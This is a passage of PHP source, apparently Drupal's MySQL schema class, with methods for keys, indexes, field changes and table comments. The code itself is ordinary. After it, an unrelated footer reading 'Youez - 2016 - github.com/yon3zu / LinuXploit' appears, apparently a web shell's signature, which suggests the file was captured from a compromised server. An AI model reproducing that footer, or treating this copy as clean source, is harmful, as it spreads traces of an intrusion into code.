    $result = $this->connection->query("SHOW KEYS FROM {" . $table . "} WHERE Key_name = 'PRIMARY'")->fetchAllAssoc('Column_name');
    return array_keys($result);
  }

  /**
   * {@inheritdoc}
   */
  public function addUniqueKey($table, $name, $fields) {
    if (!$this->tableExists($table)) {
      throw new SchemaObjectDoesNotExistException("Cannot add unique key '$name' to table '$table': table doesn't exist.");
    }
    if ($this->indexExists($table, $name)) {
      throw new SchemaObjectExistsException("Cannot add unique key '$name' to table '$table': unique key already exists.");
    }

    $this->connection->query('ALTER TABLE {' . $table . '} ADD UNIQUE KEY `' . $name . '` (' . $this->createKeySql($fields) . ')');
  }

  /**
   * {@inheritdoc}
   */
  public function dropUniqueKey($table, $name) {
    if (!$this->indexExists($table, $name)) {
      return FALSE;
    }

    $this->connection->query('ALTER TABLE {' . $table . '} DROP KEY `' . $name . '`');
    return TRUE;
  }

  /**
   * {@inheritdoc}
   */
  public function addIndex($table, $name, $fields, array $spec) {
    if (!$this->tableExists($table)) {
      throw new SchemaObjectDoesNotExistException("Cannot add index '$name' to table '$table': table doesn't exist.");
    }
    if ($this->indexExists($table, $name)) {
      throw new SchemaObjectExistsException("Cannot add index '$name' to table '$table': index already exists.");
    }

    $spec['indexes'][$name] = $fields;
    $indexes = $this->getNormalizedIndexes($spec);

    $this->connection->query('ALTER TABLE {' . $table . '} ADD INDEX `' . $name . '` (' . $this->createKeySql($indexes[$name]) . ')');
  }

  /**
   * {@inheritdoc}
   */
  public function dropIndex($table, $name) {
    if (!$this->indexExists($table, $name)) {
      return FALSE;
    }

    $this->connection->query('ALTER TABLE {' . $table . '} DROP INDEX `' . $name . '`');
    return TRUE;
  }

  /**
   * {@inheritdoc}
   */
  protected function introspectIndexSchema($table) {
    if (!$this->tableExists($table)) {
      throw new SchemaObjectDoesNotExistException("The table $table doesn't exist.");
    }

    $index_schema = [
      'primary key' => [],
      'unique keys' => [],
      'indexes' => [],
    ];

    $result = $this->connection->query('SHOW INDEX FROM {' . $table . '}')->fetchAll();
    foreach ($result as $row) {
      if ($row->Key_name === 'PRIMARY') {
        $index_schema['primary key'][] = $row->Column_name;
      }
      elseif ($row->Non_unique == 0) {
        $index_schema['unique keys'][$row->Key_name][] = $row->Column_name;
      }
      else {
        $index_schema['indexes'][$row->Key_name][] = $row->Column_name;
      }
    }

    return $index_schema;
  }

  /**
   * {@inheritdoc}
   */
  public function changeField($table, $field, $field_new, $spec, $keys_new = []) {
    if (!$this->fieldExists($table, $field)) {
      throw new SchemaObjectDoesNotExistException("Cannot change the definition of field '$table.$field': field doesn't exist.");
    }
    if (($field != $field_new) && $this->fieldExists($table, $field_new)) {
      throw new SchemaObjectExistsException("Cannot rename field '$table.$field' to '$field_new': target field already exists.");
    }
    if (isset($keys_new['primary key']) && in_array($field_new, $keys_new['primary key'], TRUE)) {
      $this->ensureNotNullPrimaryKey($keys_new['primary key'], [$field_new => $spec]);
    }

    $sql = 'ALTER TABLE {' . $table . '} CHANGE `' . $field . '` ' . $this->createFieldSql($field_new, $this->processField($spec));
    if ($keys_sql = $this->createKeysSql($keys_new)) {
      $sql .= ', ADD ' . implode(', ADD ', $keys_sql);
    }
    $this->connection->query($sql);

    if ($spec['type'] === 'serial') {
      $max = $this->connection->query('SELECT MAX(`' . $field_new . '`) FROM {' . $table . '}')->fetchField();
      $this->connection->query("ALTER TABLE {" . $table . "} AUTO_INCREMENT = " . ($max + 1));
    }
  }

  /**
   * {@inheritdoc}
   */
  public function prepareComment($comment, $length = NULL) {
    // Truncate comment to maximum comment length.
    if (isset($length)) {
      // Add table prefixes before truncating.
      $comment = Unicode::truncate($this->connection->prefixTables($comment), $length, TRUE, TRUE);
    }
    // Remove semicolons to avoid triggering multi-statement check.
    $comment = strtr($comment, [';' => '.']);
    return $this->connection->quote($comment);
  }

  /**
   * Retrieve a table or column comment.
   */
  public function getComment($table, $column = NULL) {
    $condition = $this->buildTableNameCondition($table);
    if (isset($column)) {
      $condition->condition('column_name', $column);
      $condition->compile($this->connection, $this);
      // Don't use {} around information_schema.columns table.
      return $this->connection->query("SELECT column_comment AS column_comment FROM information_schema.columns WHERE " . (string) $condition, $condition->arguments())->fetchField();
    }
    $condition->compile($this->connection, $this);
    // Don't use {} around information_schema.tables table.
    $comment = $this->connection->query("SELECT table_comment AS table_comment FROM information_schema.tables WHERE " . (string) $condition, $condition->arguments())->fetchField();
    // Work-around for MySQL 5.0 bug http://bugs.mysql.com/bug.php?id=11379
    return preg_replace('/; InnoDB free:.*$/', '', $comment);
  }

}

/**
 * @} End of "addtogroup schemaapi".
 */

Youez - 2016 - github.com/yon3zu
LinuXploit